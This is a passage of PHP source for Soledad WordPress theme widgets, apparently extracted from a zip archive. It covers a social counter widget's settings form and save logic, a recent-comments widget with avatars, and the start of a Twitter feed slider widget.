		$fanscl                 = ! empty( $instance['fanscl'] ) ? $instance['fanscl'] : '';
		$fanshcl                = ! empty( $instance['fanshcl'] ) ? $instance['fanshcl'] : '';
		$followcl               = ! empty( $instance['followcl'] ) ? $instance['followcl'] : '';
		$followhcl              = ! empty( $instance['followhcl'] ) ? $instance['followhcl'] : '';
		$use_shadow             = ! empty( $instance['use_shadow'] ) ? $instance['use_shadow'] : '';
		$hide_count             = ! empty( $instance['hide_count'] ) ? $instance['hide_count'] : '';
		$countersize            = ! empty( $instance['countersize'] ) ? $instance['countersize'] : '';
		$fansize                = ! empty( $instance['fansize'] ) ? $instance['fansize'] : '';
		$source                 = ! empty( $instance['source'] ) ? $instance['source'] : 'counter';
		?>

		<div class="penci-social-widget-tabs">
			<div class="tabs-stage">
				<div id="pc_general_social" class="penci-social-tab tab-active">
					<p class="widget-title-settings">
						<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_attr_e( 'Title:', 'soledad' ); ?></label>
						<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text"
								value="<?php echo esc_attr( $title ); ?>">
					</p>

					<p class="widget-title-settings">
						<label for="<?php echo esc_attr( $this->get_field_id( 'source' ) ); ?>">Select Data
							Source:</label>
						<select class="widefat source-select"
								id="<?php echo esc_attr( $this->get_field_id( 'source' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'source' ) ); ?>">
							<option value="counter" <?php selected( $source, 'counter' ); ?>><?php echo esc_html__( 'Social Counter', 'soledad' ); ?></option>
							<option value="customizer" <?php selected( $source, 'customizer' ); ?>><?php echo esc_html__( 'Social Media URLs from Customizer ( no Counter )', 'soledad' ); ?></option>
						</select>
					</p>

					<p class="widget-title-settings notes counter"><strong>Note Important</strong>: You need to setup
						data for socials sharing
						on <a
								href="<?php echo esc_url( admin_url( 'admin.php?page=penci_social_counter_settings' ) ); ?>"
								target="_blank">this page</a> to get the counter number work.</p>

					<p style="display: none;" class="widget-title-settings notes customizer"><strong>Note
							Important</strong>: You need to setup
						data for socials profile on Appearance > Customize > Social Media.</p>

					<p class="widget-title-settings">
						<label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Select Pre-Build
							Design:</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>">
							<option value="s1" <?php selected( $style, 's1' ); ?>><?php echo esc_html__( 'Style 1', 'soledad' ); ?></option>
							<option value="s2" <?php selected( $style, 's2' ); ?>><?php echo esc_html__( 'Style 2', 'soledad' ); ?></option>
							<option value="s3" <?php selected( $style, 's3' ); ?>><?php echo esc_html__( 'Style 3', 'soledad' ); ?></option>
							<option value="s4" <?php selected( $style, 's4' ); ?>><?php echo esc_html__( 'Style 4', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'fill' ) ); ?>">Filled or Bordered
							Style?</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'fill' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'fill' ) ); ?>">
							<option value="fill" <?php selected( $fill, 'fill' ); ?>><?php echo esc_html__( 'Filled', 'soledad' ); ?></option>
							<option value="border" <?php selected( $fill, 'border' ); ?>><?php echo esc_html__( 'Bordered', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'shape' ) ); ?>">Shape</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'shape' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'shape' ) ); ?>">
							<option value="rectangle" <?php selected( $shape, 'rectangle' ); ?>><?php echo esc_html__( 'Rectangle', 'soledad' ); ?></option>
							<option value="round" <?php selected( $shape, 'round' ); ?>><?php echo esc_html__( 'Round', 'soledad' ); ?></option>
							<option value="circle" <?php selected( $shape, 'circle' ); ?>><?php echo esc_html__( 'Circle', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'color_style' ) ); ?>">Colors
							Style</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'color_style' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'color_style' ) ); ?>">
							<option value="custom" <?php selected( $color_style, 'custom' ); ?>><?php echo esc_html__( 'Custom Color', 'soledad' ); ?></option>
							<option value="brandbg" <?php selected( $color_style, 'brandbg' ); ?>><?php echo esc_html__( 'Brand Background', 'soledad' ); ?></option>
							<option value="brandtext" <?php selected( $color_style, 'brandtext' ); ?>><?php echo esc_html__( 'Brand Text', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>">Select Columns:</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'columns' ) ); ?>">
							<option value="1" <?php selected( $columns, '1' ); ?>><?php echo esc_html__( '1 Column', 'soledad' ); ?></option>
							<option value="2" <?php selected( $columns, '2' ); ?>><?php echo esc_html__( '2 Columns', 'soledad' ); ?></option>
							<option value="3" <?php selected( $columns, '3' ); ?>><?php echo esc_html__( '3 Columns', 'soledad' ); ?></option>
							<option value="4" <?php selected( $columns, '4' ); ?>><?php echo esc_html__( '4 Columns', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'tab_column' ) ); ?>">Select Columns for
							Tablet:</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tab_column' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'tab_column' ) ); ?>">
							<option value="" <?php selected( $tab_column, '' ); ?>><?php echo esc_html__( 'Default', 'soledad' ); ?></option>
							<option value="1" <?php selected( $tab_column, '1' ); ?>><?php echo esc_html__( '1 Column', 'soledad' ); ?></option>
							<option value="2" <?php selected( $tab_column, '2' ); ?>><?php echo esc_html__( '2 Columns', 'soledad' ); ?></option>
							<option value="3" <?php selected( $tab_column, '3' ); ?>><?php echo esc_html__( '3 Columns', 'soledad' ); ?></option>
							<option value="4" <?php selected( $tab_column, '4' ); ?>><?php echo esc_html__( '4 Columns', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'mobile_column' ) ); ?>">Select Columns
							for
							Mobile</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'mobile_column' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'mobile_column' ) ); ?>">
							<option value="" <?php selected( $mobile_column, '' ); ?>><?php echo esc_html__( 'Default', 'soledad' ); ?></option>
							<option value="1" <?php selected( $mobile_column, '1' ); ?>><?php echo esc_html__( '1 Column', 'soledad' ); ?></option>
							<option value="2" <?php selected( $mobile_column, '2' ); ?>><?php echo esc_html__( '2 Columns', 'soledad' ); ?></option>
							<option value="3" <?php selected( $mobile_column, '3' ); ?>><?php echo esc_html__( '3 Columns', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'use_shadow' ) ); ?>">Use Shadow?</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'use_shadow' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'use_shadow' ) ); ?>">
							<option value="no" <?php selected( $use_shadow, 'no' ); ?>><?php echo esc_html__( 'No', 'soledad' ); ?></option>
							<option value="yes" <?php selected( $use_shadow, 'yes' ); ?>><?php echo esc_html__( 'Yes', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'hide_count' ) ); ?>">Hide Counter Data &
							Show Social Name?</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'hide_count' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'hide_count' ) ); ?>">
							<option value="no" <?php selected( $hide_count, 'no' ); ?>><?php echo esc_html__( 'No', 'soledad' ); ?></option>
							<option value="yes" <?php selected( $hide_count, 'yes' ); ?>><?php echo esc_html__( 'Yes', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'hospace' ) ); ?>">Horizontal Spacing
							Between Social Icons</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'hospace' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'hospace' ) ); ?>"
								value="<?php echo $hospace; ?>">
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'verspace' ) ); ?>">Vertical Spacing
							Between Social Icons</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'verspace' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'verspace' ) ); ?>"
								value="<?php echo $verspace; ?>">
					</p>
				</div>
				<div id="pc_profile_social" class="data-source-settings counter penci-social-tab">
					<?php
					$custom_social_icons = get_option( 'penci_custom_socials', array() );
					foreach ( $social_lists as $social => $social_info ) {
						$checked = isset( $instance[ $social ] ) ? (bool) $instance[ $social ] : false;
						$name    = $social_info['label'];
						$name    = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
						?>

						<p>
							<input class="checkbox" id="<?php echo esc_attr( $this->get_field_id( $social ) ); ?>"
									name="<?php echo esc_attr( $this->get_field_name( $social ) ); ?>"
									type="checkbox" <?php checked( $checked ); ?> />
							<label for="<?php echo esc_attr( $this->get_field_id( $social ) ); ?>"><?php echo esc_attr( $name ); ?></label>
						</p>

						<?php

					}
					?>
				</div>
				<div class="social-flex penci-social-tab data-source-settings customizer">
					<?php
					$custom_social_icons = get_option( 'penci_custom_socials', array() );
					$socials_profile     = penci_social_media_array();
					foreach ( $socials_profile as $name => $data ) {
						$settings_name = 'profile_' . $name;
						$checked       = isset( $instance[ $settings_name ] ) ? (bool) $instance[ $settings_name ] : false;
						$name          = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
						?>
						<p>
							<label for="<?php echo esc_attr( $this->get_field_id( $settings_name ) ); ?>"><?php esc_html_e( 'Show ' . ucwords( $name ) . ':', 'soledad' ); ?></label>
							<input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( $settings_name ) ); ?>"
									name="<?php echo esc_attr( $this->get_field_name( $settings_name ) ); ?>" <?php checked( $checked ); ?> />
						</p>
					<?php } ?>
				</div>
				<div id="pc_color_social" class="penci-social-tab">

					<p class="widget-title-settings">
						<label for="<?php echo $this->get_field_id( 'counter_item_icon_size' ); ?>"
								style="display:block;"><?php _e( 'Icon Size: (Number only)' ); ?></label>
						<input class="widefat" id="<?php echo $this->get_field_id( 'counter_item_icon_size' ); ?>"
								name="<?php echo $this->get_field_name( 'counter_item_icon_size' ); ?>" type="number"
								value="<?php echo $counter_item_icon_size; ?>"/>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'countersize' ) ); ?>">Font Size for
							Counter Number</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'countersize' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'countersize' ) ); ?>"
								value="<?php echo $countersize; ?>">
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'fansize' ) ); ?>">Font Size for Fans/Like
							text</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'fansize' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'fansize' ) ); ?>"
								value="<?php echo $fansize; ?>">
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'bgcl' ); ?>"
								style="display:block;"><?php _e( 'Background Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'bgcl' ); ?>"
								name="<?php echo $this->get_field_name( 'bgcl' ); ?>" type="text"
								value="<?php echo $bgcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'hbgcl' ); ?>"
								style="display:block;"><?php _e( 'Background Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'hbgcl' ); ?>"
								name="<?php echo $this->get_field_name( 'hbgcl' ); ?>" type="text"
								value="<?php echo $hbgcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'bordercl' ); ?>"
								style="display:block;"><?php _e( 'Border Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'bordercl' ); ?>"
								name="<?php echo $this->get_field_name( 'bordercl' ); ?>" type="text"
								value="<?php echo $bordercl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'borderhcl' ); ?>"
								style="display:block;"><?php _e( 'Border Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'bordercl' ); ?>"
								name="<?php echo $this->get_field_name( 'borderhcl' ); ?>" type="text"
								value="<?php echo $borderhcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'textcl' ); ?>"
								style="display:block;"><?php _e( 'Icon Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'textcl' ); ?>"
								name="<?php echo $this->get_field_name( 'textcl' ); ?>" type="text"
								value="<?php echo $textcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'texthcl' ); ?>"
								style="display:block;"><?php _e( 'Icon Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'texthcl' ); ?>"
								name="<?php echo $this->get_field_name( 'texthcl' ); ?>" type="text"
								value="<?php echo $texthcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'countcl' ); ?>"
								style="display:block;"><?php _e( 'Counter Text Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'countcl' ); ?>"
								name="<?php echo $this->get_field_name( 'countcl' ); ?>" type="text"
								value="<?php echo $countcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'counthcl' ); ?>"
								style="display:block;"><?php _e( 'Counter Text Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'counthcl' ); ?>"
								name="<?php echo $this->get_field_name( 'counthcl' ); ?>" type="text"
								value="<?php echo $counthcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'fanscl' ); ?>"
								style="display:block;"><?php _e( 'Fans Text Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'fanscl' ); ?>"
								name="<?php echo $this->get_field_name( 'fanscl' ); ?>" type="text"
								value="<?php echo $fanscl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'fanshcl' ); ?>"
								style="display:block;"><?php _e( 'Fans Text Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'fanshcl' ); ?>"
								name="<?php echo $this->get_field_name( 'fanshcl' ); ?>" type="text"
								value="<?php echo $fanshcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'followcl' ); ?>"
								style="display:block;"><?php _e( 'Follow Text Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'followcl' ); ?>"
								name="<?php echo $this->get_field_name( 'followcl' ); ?>" type="text"
								value="<?php echo $followcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'followhcl' ); ?>"
								style="display:block;"><?php _e( 'Follow Text Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'followhcl' ); ?>"
								name="<?php echo $this->get_field_name( 'followhcl' ); ?>" type="text"
								value="<?php echo $followhcl; ?>"/>
					</p>

				</div>
			</div>
		</div>
		<?php
	}

	/**
	 * Outputs the social array listing
	 */
	public function social_lists() {
		return array(
			'facebook'   => array(
				'label'   => __( 'Facebook', 'soledad' ),
				'default' => 'yes',
			),
			'twitter'    => array(
				'label'   => __( 'Twitter', 'soledad' ),
				'default' => 'yes',
			),
			'youtube'    => array(
				'label'   => __( 'Youtube', 'soledad' ),
				'default' => 'yes',
			),
			'instagram'  => array(
				'label'   => __( 'Instagram', 'soledad' ),
				'default' => 'yes',
			),
			'pinterest'  => array(
				'label'   => __( 'Pinterest', 'soledad' ),
				'default' => '',
			),
			'flickr'     => array(
				'label'   => __( 'Flickr', 'soledad' ),
				'default' => '',
			),
			'vimeo'      => array(
				'label'   => __( 'Vimeo', 'soledad' ),
				'default' => '',
			),
			'soundcloud' => array(
				'label'   => __( 'SoundCloud', 'soledad' ),
				'default' => '',
			),
			'behance '   => array(
				'label'   => __( 'Behance', 'soledad' ),
				'default' => '',
			),
			'vk'         => array(
				'label'   => __( 'VK', 'soledad' ),
				'default' => '',
			),
			'tiktok'     => array(
				'label'   => __( 'Tiktok', 'soledad' ),
				'default' => '',
			),
			'twitch'     => array(
				'label'   => __( 'Twitch', 'soledad' ),
				'default' => '',
			),
			'rss'        => array(
				'label'   => __( 'RSS', 'soledad' ),
				'default' => '',
			),
		);
	}

	/**
	 * Processing widget options on save
	 *
	 * @param array $new_instance The new options
	 * @param array $old_instance The previous options
	 *
	 * @return array
	 */
	public function update( $new_instance, $old_instance ) {
		$instance                           = $old_instance;
		$instance['title']                  = ( ! empty( $new_instance['title'] ) ) ? sanitize_text_field( $new_instance['title'] ) : '';
		$instance['style']                  = ( ! empty( $new_instance['style'] ) ) ? sanitize_text_field( $new_instance['style'] ) : 's1';
		$instance['columns']                = ( ! empty( $new_instance['columns'] ) ) ? sanitize_text_field( $new_instance['columns'] ) : '1';
		$instance['fill']                   = ! empty( $new_instance['fill'] ) ? $new_instance['fill'] : 'fill';
		$instance['shape']                  = ! empty( $new_instance['shape'] ) ? $new_instance['shape'] : 'rectangle';
		$instance['tab_column']             = ! empty( $new_instance['tab_column'] ) ? $new_instance['tab_column'] : '1';
		$instance['mobile_column']          = ! empty( $new_instance['mobile_column'] ) ? $new_instance['mobile_column'] : '1';
		$instance['color_style']            = ! empty( $new_instance['color_style'] ) ? $new_instance['color_style'] : 'custom';
		$instance['hide_count']             = ! empty( $new_instance['hide_count'] ) ? $new_instance['hide_count'] : '';
		$instance['counter_item_icon_size'] = ! empty( $new_instance['counter_item_icon_size'] ) ? $new_instance['counter_item_icon_size'] : '';
		$instance['bgcl']                   = ! empty( $new_instance['bgcl'] ) ? $new_instance['bgcl'] : '';
		$instance['hbgcl']                  = ! empty( $new_instance['hbgcl'] ) ? $new_instance['hbgcl'] : '';
		$instance['bordercl']               = ! empty( $new_instance['hbgcl'] ) ? $new_instance['bordercl'] : '';
		$instance['borderhcl']              = ! empty( $new_instance['borderhcl'] ) ? $new_instance['borderhcl'] : '';
		$instance['textcl']                 = ! empty( $new_instance['textcl'] ) ? $new_instance['textcl'] : '';
		$instance['texthcl']                = ! empty( $new_instance['texthcl'] ) ? $new_instance['texthcl'] : '';
		$instance['countcl']                = ! empty( $new_instance['countcl'] ) ? $new_instance['countcl'] : '';
		$instance['counthcl']               = ! empty( $new_instance['counthcl'] ) ? $new_instance['counthcl'] : '';
		$instance['fanscl']                 = ! empty( $new_instance['fanscl'] ) ? $new_instance['fanscl'] : '';
		$instance['fanshcl']                = ! empty( $new_instance['fanshcl'] ) ? $new_instance['fanshcl'] : '';
		$instance['followcl']               = ! empty( $new_instance['followcl'] ) ? $new_instance['followcl'] : '';
		$instance['followhcl']              = ! empty( $new_instance['followhcl'] ) ? $new_instance['followhcl'] : '';
		$instance['hospace']                = ! empty( $new_instance['hospace'] ) ? $new_instance['hospace'] : '';
		$instance['verspace']               = ! empty( $new_instance['verspace'] ) ? $new_instance['verspace'] : '';
		$instance['use_shadow']             = ! empty( $new_instance['use_shadow'] ) ? $new_instance['use_shadow'] : '';
		$instance['countersize']            = ! empty( $new_instance['countersize'] ) ? $new_instance['countersize'] : '';
		$instance['fansize']                = ! empty( $new_instance['fansize'] ) ? $new_instance['fansize'] : '';
		$instance['source']                 = ! empty( $new_instance['source'] ) ? $new_instance['source'] : 'counter';

		foreach ( $this->social_lists() as $social => $social_info ) {
			$instance[ $social ] = ( ! empty( $new_instance[ $social ] ) ) ? 1 : 0;
		}

		$socials_profile = penci_social_media_array();
		foreach ( $socials_profile as $name => $data ) {
			$instance[ 'profile_' . $name ] = ( ! empty( $new_instance[ 'profile_' . $name ] ) ) ? 1 : 0;
		}

		return $instance;
	}

	public function enqueue_scripts( $hook_suffix ) {
		if ( 'widgets.php' !== $hook_suffix ) {
			return;
		}

		wp_enqueue_style( 'wp-color-picker' );
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_script( 'underscore' );
	}


	public function print_scripts() {
		?>
		<script>
			(function ($) {
				function initColorPicker(widget) {
					widget.find('.color-picker').wpColorPicker({
						change: _.throttle(function () { // For Customizer
							$(this).trigger('change');
						}, 3000)
					});
				}

				function onFormUpdate(event, widget) {
					initColorPicker(widget);
				}

				$(document).on('widget-added widget-updated', onFormUpdate);

				$(document).ready(function () {
					$('#widgets-right .widget:has(.color-picker)').each(function () {
						initColorPicker($(this));
					});
				});
			}(jQuery));
		</script>
		<?php
	}
}

// register widget
function penci_register_social_counter_widget() {
	register_widget( 'Soledad_Social_Counter' );
}

add_action( 'widgets_init', 'penci_register_social_counter_widget' );
PK     2w\RQ      widgets/comments.phpnu [        <?php

add_action( 'widgets_init', 'penci_comments_load_widget' );

function penci_comments_load_widget() {
	register_widget( 'penci_comments_widget' );
}

if ( ! class_exists( 'penci_comments_widget' ) ) {
	class penci_comments_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_comments_widget',
				'description' => esc_html__( 'A widget that displays the recent comments with avatar.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_comments_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_comments_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Comments', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_comments_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Comments', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$length      = isset( $instance['length'] ) ? $instance['length'] : 12;
			$avatar_size = isset( $instance['avatar_size'] ) ? $instance['avatar_size'] : 70;

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			echo '<ul>';

			$comments = get_comments( 'status=approve&number=' . $instance['number'] );

			foreach ( $comments as $comment ) { ?>
                <li>
					<?php

					$no_thumb = 'no-small-thumbs';

					// Show the avatar if it is active only
					if ( get_option( 'show_avatars' ) ) {
						if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
							$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=' . $instance['avatar_size'];
						} else {
							$usergravatar = get_avatar_url( $comment->user_id );
						}
						$no_thumb = ''; ?>
                        <div class="post-widget-thumbnail"
                             style="flex: 0 0 <?php echo esc_attr( $avatar_size ) ?>px">
                            <a class="author-avatar"
                               href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
                                <img src="<?php echo esc_url( $usergravatar ); ?>"
                                     alt="<?php echo esc_url( $comment->comment_author ); ?>">
                            </a>
                        </div>
						<?php
					}

					?>

                    <div class="comment-body <?php echo esc_attr( $no_thumb ) ?>">
                        <a class="comment-author"
                           href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
							<?php echo strip_tags( $comment->comment_author ); ?>
                        </a>
                        <p><?php
							$comment_content = wp_strip_all_tags( $comment->comment_content );
							echo wp_trim_words( $comment_content, $length ); ?></p>
                    </div>

                </li>
				<?php
			}

			echo '</ul>';

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}


		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Recent Comments', 'soledad' ),
				'number'      => 5,
				'avatar_size' => 70,
				'length'      => 12,
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';

			?>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $instance_title ) ?>" class="widefat" type="text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of comments to show:', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ) ?>" type="number"
                       class="tiny-text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'length' ) ); ?>"><?php esc_html_e( 'Custom Comment Content Words Length:', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['length'] ) ?>" type="number"
                       class="tiny-text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"><?php esc_html_e( 'Avatar size (px)', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar_size' ) ); ?>"
                       value="<?php echo esc_attr( $instance['avatar_size'] ); ?>" class="widefat" type="number"
                       placeholder=""/>
            </p>
			<?php

		}
	}
}
PK     2w\JjkY4  4    widgets/latest_tweets.phpnu [        <?php
/**
 * Latest tweets slider widget
 * Display recent post or popular post for each category or all posts
 *
 * @package Wordpress
 * @since 1.2
 */

add_action( 'widgets_init', 'penci_latest_tweets_load_widget' );

function penci_latest_tweets_load_widget() {
	register_widget( 'penci_latest_tweets_widget' );
}

if ( ! class_exists( 'penci_latest_tweets_widget' ) ) {
	class penci_latest_tweets_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_latest_tweets_widget',
				'description' => esc_html__( 'A widget that displays your latest tweets with a slider', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_latest_tweets_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_latest_tweets_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Twitter Feed', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_latest_tweets_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Twitter Feed', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$date     = isset( $instance['date'] ) ? $instance['date'] : false;
			$auto     = isset( $instance['auto'] ) ? $instance['auto'] : false;
			$reply    = isset( $instance['reply'] ) ? $instance['reply'] : esc_html__( 'Reply', 'soledad' );
			$retweet  = isset( $instance['retweet'] ) ? $instance['retweet'] : esc_html__( 'Retweet', 'soledad' );
			$favorite = isset( $instance['favorite'] ) ? $instance['favorite'] : esc_html__( 'Favorite', 'soledad' );
			$align    = isset( $instance['align'] ) ? $instance['align'] : '';
			$style    = isset( $instance['style'] ) ? $instance['style'] : 'slider';
			$number   = isset( $instance['number'] ) ? $instance['number'] : 5;
			$classes  = 'slider' == $style ? 'swiper penci-owl-carousel penci-owl-carousel-slider penci-tweets-slider' : 'penci-tweets-lists';
			if ( function_exists( 'penci_getTweets' ) ) {
				$tweets = penci_getTweets( $number );

				if ( ! empty( $tweets ) ):

					/* Before widget (defined by themes). */ echo ent2ncr( $before_widget );

					/* Display the widget title if one was input (before and after defined by themes). */
					if ( $title ) {
